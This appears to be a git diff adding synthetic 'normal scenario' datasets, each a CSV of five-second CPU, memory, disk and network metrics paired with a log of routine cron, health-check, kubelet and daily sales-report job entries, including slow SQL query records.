+2025-08-13T04:01:35Z,89.02,63.99,108.93,0.94,0.35 +2025-08-13T04:01:40Z,85.25,58.78,115.16,1.47,0.67 +2025-08-13T04:01:45Z,81.92,64.81,121.44,0.69,0.3 +2025-08-13T04:01:50Z,76.97,52.18,85.71,1.32,0.28 +2025-08-13T04:01:55Z,78.71,64.63,124.65,1.37,0.34 +2025-08-13T04:02:00Z,91.28,63.65,81.79,0.9,0.66 +2025-08-13T04:02:05Z,88.85,55.08,97.71,1.1,0.59 +2025-08-13T04:02:10Z,97.93,52.3,132.56,0.57,0.41 +2025-08-13T04:02:15Z,96.36,58.79,129.58,0.5,0.29 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+2025-08-13T04:04:00Z,83.17,53.78,148.28,0.63,0.69 +2025-08-13T04:04:05Z,86.58,61.09,125.17,0.66,0.29 +2025-08-13T04:04:10Z,87.19,53.13,111.15,0.88,0.65 +2025-08-13T04:04:15Z,92.72,63.12,145.39,0.68,0.4 +2025-08-13T04:04:20Z,92.15,57.75,137.45,0.81,0.67 +2025-08-13T04:04:25Z,87.99,58.83,127.45,0.57,0.65 +2025-08-13T04:04:30Z,81.73,58.48,81.12,0.84,0.51 +2025-08-13T04:04:35Z,78.34,60.94,124.86,0.99,0.56 +2025-08-13T04:04:40Z,88.64,50.13,103.71,1.48,0.22 +2025-08-13T04:04:45Z,88.57,54.37,102.32,1.31,0.38 +2025-08-13T04:04:50Z,87.45,64.61,136.27,1.13,0.63 +2025-08-13T04:04:55Z,91.24,59.38,139.13,1.48,0.56 +2025-08-13T04:05:00Z,88.53,59.65,117.36,1.06,0.61 +2025-08-13T04:05:05Z,89.47,59.68,137.83,0.95,0.22 +2025-08-13T04:05:10Z,79.4,60.19,88.91,1.38,0.54 +2025-08-13T04:05:15Z,88.33,64.52,123.81,1.1,0.32 +2025-08-13T04:05:20Z,90.83,60.65,129.98,0.77,0.28 +2025-08-13T04:05:25Z,93.69,54.54,132.6,0.65,0.58 +2025-08-13T04:05:30Z,87.19,52.43,128.79,1.12,0.57 +2025-08-13T04:05:35Z,94.52,63.78,86.13,1.27,0.77 +2025-08-13T04:05:40Z,93.13,55.4,111.13,0.76,0.4 +2025-08-13T04:05:45Z,93.19,64.32,138.69,0.73,0.51 +2025-08-13T04:05:50Z,92.2,57.9,93.93,0.78,0.26 +2025-08-13T04:05:55Z,94.63,51.79,109.63,1.15,0.39 +2025-08-13T04:06:00Z,17.47,35.32,18.91,1.54,1.24 +2025-08-13T04:06:05Z,19.44,39.43,7.23,1.01,1.41 +2025-08-13T04:06:10Z,17.94,41.09,5.66,0.98,1.2 +2025-08-13T04:06:15Z,22.34,39.38,15.69,1.58,0.71 +2025-08-13T04:06:20Z,12.13,39.75,8.13,1.2,1.3 +2025-08-13T04:06:25Z,19.3,41.36,7.11,1.89,1.13 +2025-08-13T04:06:30Z,15.98,39.99,13.38,1.35,1.35 +2025-08-13T04:06:35Z,12.25,40.83,14.8,1.95,0.54 +2025-08-13T04:06:40Z,12.27,38.23,6.47,0.95,1.38 +2025-08-13T04:06:45Z,17.43,44.83,18.98,0.85,1.5 +2025-08-13T04:06:50Z,23.04,38.92,16.91,1.17,0.59 +2025-08-13T04:06:55Z,16.52,35.43,14.68,1.63,1.49 +2025-08-13T04:07:00Z,10.15,36.79,8.22,0.97,0.67 +2025-08-13T04:07:05Z,15.87,43.38,14.68,1.23,1.23 +2025-08-13T04:07:10Z,17.62,41.81,11.33,0.89,1.31 +2025-08-13T04:07:15Z,12.23,38.13,18.76,1.42,1.26 +2025-08-13T04:07:20Z,18.99,44.83,19.94,1.18,0.78 +2025-08-13T04:07:25Z,24.83,41.32,10.98,1.27,1.14 diff --git a/norm_dataset/scenario_3/norm_3_37.log b/norm_dataset/scenario_3/norm_3_37.log new file mode 100644 index 0000000000000000000000000000000000000000..5f5431513ca573ceaa2237c87a06fc2df77ef00c --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_37.log @@ -0,0 +1,14 @@ +Aug 13 04:00:15 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 13 04:00:40 web-app[2345]: GET /api/v1/health status=200 OK +Aug 13 04:01:00 CRON[8872]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 13 04:01:01 report-generator[8874]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:05 report-generator[8874]: INFO: Connecting to database 'sales_db' on localhost. +Aug 13 04:01:10 report-generator[8874]: INFO: Aggregating records from 2025-08-12 00:00:00 to 23:59:59. +Aug 13 04:01:45 kubelet[1122]: INFO Liveness probe for pod 'webapp-7f8c5' succeeded. +Aug 13 04:03:30 web-app[2345]: GET /api/v1/health status=200 OK +Aug 13 04:05:30 report-generator[8874]: INFO: Aggregation complete. Processed 1,543,289 records. +Aug 13 04:05:35 report-generator[8874]: INFO: Writing report to '/var/reports/daily_sales_2025-08-12.csv'. +Aug 13 04:06:00 report-generator[8874]: INFO: Report job completed successfully in 300 seconds. +Aug 13 04:06:05 mysqld[1024]: SLOW QUERY: user=report_user, host=localhost, query_time=285.5, query='SELECT date(order_time), product_id, SUM(amount), COUNT(*) FROM sales_records WHERE order_time BETWEEN \'2025-08-12 00:00:00\' AND \'2025-08-12 23:59:59\' GROUP BY 1, 2;' +Aug 13 04:06:30 web-app[2345]: GET /api/v1/health status=200 OK +Aug 13 04:07:10 systemd[1]: Finished daily apt upgrade and clean activities. diff --git a/norm_dataset/scenario_3/norm_3_38.csv b/norm_dataset/scenario_3/norm_3_38.csv new file mode 100644 index 0000000000000000000000000000000000000000..5190eb3cb67be8a4e7f31c67b29fd88bbbd85a92 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_38.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-14T04:06:40Z,86.35,55.73,93.71,0.82,1.2 +2025-08-14T04:06:45Z,83.38,69.6,99.0,0.96,1.57 +2025-08-14T04:06:50Z,89.23,68.77,100.36,0.56,1.77 +2025-08-14T04:06:55Z,90.9,55.1,102.94,1.11,1.1 +2025-08-14T04:07:00Z,86.42,59.73,89.91,1.0,1.06 +2025-08-14T04:07:05Z,93.49,55.97,94.3,0.53,1.77 +2025-08-14T04:07:10Z,80.76,65.97,95.73,1.08,1.5 +2025-08-14T04:07:15Z,82.76,67.82,108.35,1.33,1.67 +2025-08-14T04:07:20Z,87.66,62.53,87.87,1.49,1.81 +2025-08-14T04:07:25Z,84.44,66.96,103.44,0.54,1.9 diff --git a/norm_dataset/scenario_3/norm_3_38.log b/norm_dataset/scenario_3/norm_3_38.log new file mode 100644 index 0000000000000000000000000000000000000000..5fb4c78fdfe68711cb5e9d7b5d7dea3b6747fa15 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_38.log @@ -0,0 +1,9 @@ +Aug 14 04:00:02 report-runner[4512]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:10 CRON[4510]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:00:45 report-runner[4512]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59 for sales summary. +Aug 14 04:01:35 report-runner[4512]: INFO: Calculating regional totals. +Aug 14 04:03:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:04:10 mysqld-slow.log[899]: Query_time: 185.3 Lock_time: 5.2 Rows_sent: 25000 Rows_examined: 15000000 SELECT ... FROM sales_data WHERE date BETWEEN ...; +Aug 14 04:05:50 report-runner[4512]: INFO: Finalizing report data and formatting output. +Aug 14 04:07:10 report-runner[4512]: INFO: Writing report to s3://sales-reports/daily/2025-08-13.csv. +Aug 14 04:07:25 report-runner[4512]: INFO: Report job completed successfully in 443.5 seconds. diff --git a/norm_dataset/scenario_3/norm_3_39.csv b/norm_dataset/scenario_3/norm_3_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..e4f64c5962b2d9d78adc71fe096af06d29c62079 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,16.574313248202145,44.18900442647272,12.43615001954083,1.2058267710653998,1.0300235206798307 +2025-08-14T04:00:05Z,19.11605497786075,43.95953484653315,9.389125113100842,1.417136771279275,1.5452468623466804 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GET /api/v1/status status=200 OK +Aug 14 04:00:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:01:35 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:02:00 report-runner[7890]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:05 report-runner[7890]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:03:00 postgres[4321]: [3-1] LOG: duration: 3540.150 ms statement: SELECT date_trunc('day', order_date), product_id, SUM(quantity), SUM(price) FROM sales_records WHERE order_date >= '2025-08-13' AND order_date < '2025-08-14' GROUP BY 1, 2 ORDER BY 1; +Aug 14 04:04:50 report-runner[7890]: INFO: Report job completed. +Aug 14 04:06:30 web-server[3456]: GET /api/v1/user/99 status=200 OK +Aug 14 04:07:15 systemd[1]: Started daily clean up activities. diff --git a/norm_dataset/scenario_3/norm_3_4.csv b/norm_dataset/scenario_3/norm_3_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..bca5f71c0628901e651e00352d2f63cfd00025c8 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.83,41.0,31.23,0.88,0.8 +2025-08-13T04:00:05Z,15.8,39.5,38.3,0.66,0.88 +2025-08-13T04:00:10Z,10.09,38.09,36.6,0.63,0.98 +2025-08-13T04:00:15Z,16.29,39.62,33.74,0.53,0.77 +2025-08-13T04:00:20Z,14.82,37.01,37.5,0.9,0.82 +2025-08-13T04:00:25Z,12.09,44.35,28.62,0.95,0.72 +2025-08-13T04:00:30Z,17.69,39.77,32.71,0.86,0.67 +2025-08-13T04:00:35Z,11.04,41.32,23.84,0.89,0.92 +2025-08-13T04:00:40Z,11.53,42.06,39.58,0.89,0.54 +2025-08-13T04:00:45Z,15.74,43.75,24.63,0.7,0.58 +2025-08-13T04:00:50Z,10.73,38.12,30.45,0.96,0.85 +2025-08-13T04:00:55Z,10.98,40.08,23.45,0.79,0.64 +2025-08-13T04:01:00Z,16.51,42.17,23.27,0.79,0.8 +2025-08-13T04:01:05Z,14.08,43.43,32.5,0.99,0.51 +2025-08-13T04:01:10Z,17.88,43.62,21.44,0.66,0.65 +2025-08-13T04:01:15Z,18.62,39.83,28.92,0.88,0.91 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+1,12 @@ +Aug 13 04:00:05 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:02:30 report-runner[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:31 report-runner[4567]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:05:00 report-runner[4567]: INFO: Report job completed. +Aug 13 04:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:06:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_40.csv b/norm_dataset/scenario_3/norm_3_40.csv new file mode 100644 index 0000000000000000000000000000000000000000..9bf6065d1ab40f047b8c6a9e86923a7b5895401f --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_40.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,12.4,41.31,8.81,1.07,0.44 +2025-08-13T04:00:05Z,15.61,40.11,10.2,0.98,0.78 +2025-08-13T04:00:10Z,15.67,42.54,10.17,0.76,0.84 +2025-08-13T04:00:15Z,13.79,37.06,10.5,1.21,0.88 +2025-08-13T04:00:20Z,14.9,41.02,12.03,1.21,1.19 +2025-08-13T04:00:25Z,16.21,41.66,11.45,0.81,0.67 +2025-08-13T04:00:30Z,17.31,38.63,11.03,1.08,0.81 +2025-08-13T04:00:35Z,15.16,38.0,9.73,1.15,0.8 +2025-08-13T04:00:40Z,17.53,42.37,15.71,0.99,0.71 +2025-08-13T04:00:45Z,13.7,38.55,9.07,0.82,1.01 +2025-08-13T04:00:50Z,11.77,39.63,6.67,0.84,1.03 +2025-08-13T04:00:55Z,14.53,40.05,18.79,1.02,0.79 +2025-08-13T04:01:00Z,18.62,40.46,14.66,1.2,0.66 +2025-08-13T04:01:05Z,17.71,38.29,11.42,0.98,0.42 +2025-08-13T04:01:10Z,12.8,37.69,9.36,0.7,0.94 +2025-08-13T04:01:15Z,15.57,37.76,9.06,0.89,0.51 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web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:02:00 report-runner[3100]: report-job[4511]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:15 generic-host kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c +Aug 13 04:02:25 generic-host web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:02:45 report-runner[3100]: report-job[4511]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:03:40 report-runner[3100]: postgres[2310]: [slow_query] LOG: duration: 13450.123 ms statement: SELECT sales.product_id, SUM(sales.amount), AVG(products.price) FROM sales JOIN products ON sales.product_id = products.id WHERE sales.date >= '2025-08-12' AND sales.date < '2025-08-13' GROUP BY sales.product_id; +Aug 13 04:04:05 generic-host web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:04:25 generic-host web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:04:30 generic-host kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c +Aug 13 04:04:50 report-runner[3100]: report-job[4511]: INFO: Report job completed successfully in 170.28 seconds. +Aug 13 04:05:00 generic-host kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c +Aug 13 04:05:05 generic-host web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:06:25 generic-host web-app[7754]: GET /api/v1/health status=200 OK +Aug 13 04:07:00 generic-host kubelet[1123]: INFO Liveness probe succeeded for pod web-app-7b8c diff --git a/norm_dataset/scenario_3/norm_3_41.csv b/norm_dataset/scenario_3/norm_3_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..8bc65c462f18e72e23caf3a46882d87d5424dc5b --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,13.93,42.19,23.47,1.52,0.99 +2025-08-14T04:00:05Z,16.17,39.72,28.01,1.01,0.95 +2025-08-14T04:00:10Z,17.94,38.4,19.83,0.59,0.81 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+2025-08-14T04:06:55Z,19.4,40.76,17.66,0.98,0.97 +2025-08-14T04:07:00Z,13.67,39.76,24.79,1.22,0.97 +2025-08-14T04:07:05Z,12.88,38.12,28.79,1.22,0.86 +2025-08-14T04:07:10Z,16.17,41.14,30.08,0.86,0.99 +2025-08-14T04:07:15Z,22.3,35.86,32.68,1.19,0.84 +2025-08-14T04:07:20Z,19.93,39.9,26.18,1.23,0.92 +2025-08-14T04:07:25Z,16.31,36.69,26.91,0.76,0.55 diff --git a/norm_dataset/scenario_3/norm_3_41.log b/norm_dataset/scenario_3/norm_3_41.log new file mode 100644 index 0000000000000000000000000000000000000000..1154be867d343701f7e3937b70375b9e1626df91 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_41.log @@ -0,0 +1,12 @@ +Aug 14 04:00:00 CRON[8871]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:00:12 web-app[2345]: GET /api/v1/health status=200 OK +Aug 14 04:00:45 systemd[1]: Starting daily network activity summary... +Aug 14 04:01:35 web-app[2345]: POST /api/v1/login status=200 OK +Aug 14 04:02:00 report-runner[9123]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:05 report-runner[9123]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:02:10 mysqld[1122]: [Note] [slow] Query_time: 185.334 Lock_time: 3.123 Rows_sent: 58291 Rows_examined: 8912345 user@host: report-generator[9123] SELECT customer_id, SUM(amount), COUNT(order_id) FROM sales_records WHERE created_at BETWEEN '2025-08-13 00:00:00' AND '2025-08-13 23:59:59' GROUP BY customer_id; +Aug 14 04:03:30 report-runner[9123]: INFO: Data aggregation phase complete. Starting report generation. +Aug 14 04:05:20 report-runner[9123]: INFO: Report successfully generated and saved to /reports/daily_sales_2025-08-13.pdf +Aug 14 04:05:30 report-runner[9123]: INFO: Report job completed. +Aug 14 04:05:55 web-app[2345]: GET /api/v1/products/all status=200 OK +Aug 14 04:06:25 kubelet[1024]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_3/norm_3_42.csv b/norm_dataset/scenario_3/norm_3_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..56aa3ba854cc2b41b8556a50179c6003c41333ac --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_42.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,18.41,40.72,34.58,1.12,1.09 +2025-08-14T04:00:05Z,18.56,44.6,27.93,1.45,1.01 +2025-08-14T04:00:10Z,18.06,44.99,25.76,1.33,0.89 +2025-08-14T04:00:15Z,13.58,38.1,30.94,1.17,1.13 +2025-08-14T04:00:20Z,15.24,39.05,36.76,0.86,0.92 +2025-08-14T04:00:25Z,19.36,43.69,30.26,0.91,1.05 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+2025-08-14T04:07:00Z,10.71,41.66,29.55,1.33,0.8 +2025-08-14T04:07:05Z,10.69,43.59,24.28,1.37,1.3 +2025-08-14T04:07:10Z,14.89,41.46,35.47,0.86,1.2 +2025-08-14T04:07:15Z,17.75,40.52,29.24,1.02,0.89 +2025-08-14T04:07:20Z,15.19,43.34,31.13,1.02,1.21 +2025-08-14T04:07:25Z,14.29,44.11,23.04,1.11,1.01 diff --git a/norm_dataset/scenario_3/norm_3_42.log b/norm_dataset/scenario_3/norm_3_42.log new file mode 100644 index 0000000000000000000000000000000000000000..a54682197e2533e269742610c566445578fd198d --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_42.log @@ -0,0 +1,21 @@ +Aug 14 04:00:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:00:48 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:01:19 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:01:51 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:02:00 report-job[4512]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:05 report-job[4512]: INFO: Connecting to database 'sales_db'. +Aug 14 04:02:10 report-job[4512]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:02:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:02:39 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:03:05 CRON[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:03:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:03:28 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:04:06 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:04:36 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:25 report-job[4512]: INFO: Aggregation complete. Writing report to 'reports_db'. +Aug 14 04:05:30 report-job[4512]: INFO: Report job completed successfully in 210 seconds. +Aug 14 04:05:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:59 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:06:26 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:07:03 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_43.csv b/norm_dataset/scenario_3/norm_3_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..b791d67bb96d6ae7e470cac0d1679440188938ac --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,15.73,40.68,10.69,0.61,0.97 +2025-08-13T04:00:05Z,11.89,42.21,14.44,0.6,1.16 +2025-08-13T04:00:10Z,11.12,37.83,12.07,1.23,1.98 +2025-08-13T04:00:15Z,17.15,41.2,16.87,0.89,0.88 +2025-08-13T04:00:20Z,11.68,37.62,12.5,0.5,1.1 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+2025-08-13T04:07:00Z,14.46,41.9,22.68,0.56,1.65 +2025-08-13T04:07:05Z,18.16,45.13,16.42,1.18,1.62 +2025-08-13T04:07:10Z,12.49,41.97,29.05,0.59,1.39 +2025-08-13T04:07:15Z,16.46,39.9,13.39,0.9,1.33 +2025-08-13T04:07:20Z,14.95,38.21,24.08,1.36,1.02 +2025-08-13T04:07:25Z,16.98,37.85,10.93,1.25,1.51 diff --git a/norm_dataset/scenario_3/norm_3_43.log b/norm_dataset/scenario_3/norm_3_43.log new file mode 100644 index 0000000000000000000000000000000000000000..9b643d45190541bf2ced73e9f31c86c195067aac --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_43.log @@ -0,0 +1,14 @@ +Aug 13 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:00 web-app[3456]: GET /api/v1/health status=200 OK +Aug 13 04:00:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 13 04:01:15 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 13 04:01:30 report-runner[7890]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:55 report-runner[7890]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-runner-pod +Aug 13 04:06:30 report-runner[7890]: INFO: Report job completed. +Aug 13 04:06:40 web-app[3456]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_44.csv b/norm_dataset/scenario_3/norm_3_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f79817759e0ea3e39c8159387b213c4d1388d6c --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_44.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-14T04:05:20Z,15.60676319302195,39.06127487786959,25.388757376352075,0.9397670869509941,0.6372153870416174 +2025-08-14T04:05:25Z,16.84071306571584,39.097608199724185,31.408610976768056,0.7261686298667418,0.5482055107266017 diff --git a/norm_dataset/scenario_3/norm_3_44.log b/norm_dataset/scenario_3/norm_3_44.log new file mode 100644 index 0000000000000000000000000000000000000000..a9fe224185a1d0acb9a45f26ab92556afa027264 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_44.log @@ -0,0 +1,15 @@ +Aug 14 03:58:00 systemd[1]: Starting daily clean up activities... +Aug 14 03:58:55 web-app[3341]: GET /api/v1/health status=200 OK +Aug 14 03:59:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:00:00 report-job[7123]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:05 report-job[7123]: INFO: Establishing database connection. +Aug 14 04:00:15 report-job[7123]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:02:00 report-job[7123]: INFO: Processing sales data chunk 1 of 4. +Aug 14 04:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 14 04:03:00 report-job[7123]: INFO: Processing sales data chunk 2 of 4. +Aug 14 04:04:00 report-job[7123]: INFO: Processing sales data chunk 3 of 4. +Aug 14 04:04:05 report-job[7123]: INFO: Processing sales data chunk 4 of 4. +Aug 14 04:04:15 report-job[7123]: INFO: Storing aggregated report to reports_db. +Aug 14 04:04:25 report-job[7123]: INFO: Report job completed successfully in 265 seconds. +Aug 14 04:04:30 report-job[7123]: INFO: Closing database connection. +Aug 14 04:05:00 web-app[3341]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_45.csv b/norm_dataset/scenario_3/norm_3_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..281ebb89aecb7abaa0fe40432cfc2bbdf54e86bd --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-13T04:06:40Z,15.03,35.38,30.56,0.92,0.65 +2025-08-13T04:06:45Z,10.67,35.08,20.69,0.86,1.46 +2025-08-13T04:06:50Z,14.97,35.35,20.64,1.15,1.22 +2025-08-13T04:06:55Z,12.37,37.22,31.1,1.32,0.65 +2025-08-13T04:07:00Z,14.46,36.04,25.73,1.26,0.74 +2025-08-13T04:07:05Z,18.16,38.43,21.69,1.38,1.2 +2025-08-13T04:07:10Z,12.49,36.25,31.11,1.49,1.22 +2025-08-13T04:07:15Z,16.46,42.25,21.38,0.52,0.84 +2025-08-13T04:07:20Z,14.95,39.75,34.53,0.87,0.82 +2025-08-13T04:07:25Z,16.98,35.88,22.78,1.47,1.15 diff --git a/norm_dataset/scenario_3/norm_3_45.log b/norm_dataset/scenario_3/norm_3_45.log new file mode 100644 index 0000000000000000000000000000000000000000..f38094992856db16cb39510231d7bae18a1ffdbb --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_45.log @@ -0,0 +1,26 @@ +Aug 13 04:00:05 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:30 web-app[2233]: GET /api/v1/health status=200 OK +Aug 13 04:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 13 04:01:05 daily-report[7890]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:10 daily-report[7890]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:30 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:02:00 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:02:30 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:03:00 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:03:30 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:04:00 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:04:30 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:05:00 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:05:30 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 13 04:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:05:55 daily-report[7890]: INFO: Report job completed. +Aug 13 04:06:30 web-app[2233]: GET /api/v1/health status=200 OK +Aug 13 04:07:00 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_3/norm_3_5.csv b/norm_dataset/scenario_3/norm_3_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..66cb76a685fa4972a44c3d0873421feb2b4b6ca5 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_5.csv @@ -0,0 +1,91 @@ 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+Aug 13 04:00:20 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:00:30 report-job[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:35 report-job[4567]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:31 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:02:11 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:02:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:03:25 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:04:05 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:04:42 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:05:27 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:05:30 report-job[4567]: INFO: Report job completed. +Aug 13 04:06:33 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:07:22 web-app[1234]: GET /api/v1/heartbeat status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_6.csv b/norm_dataset/scenario_3/norm_3_6.csv new file mode 100644 index 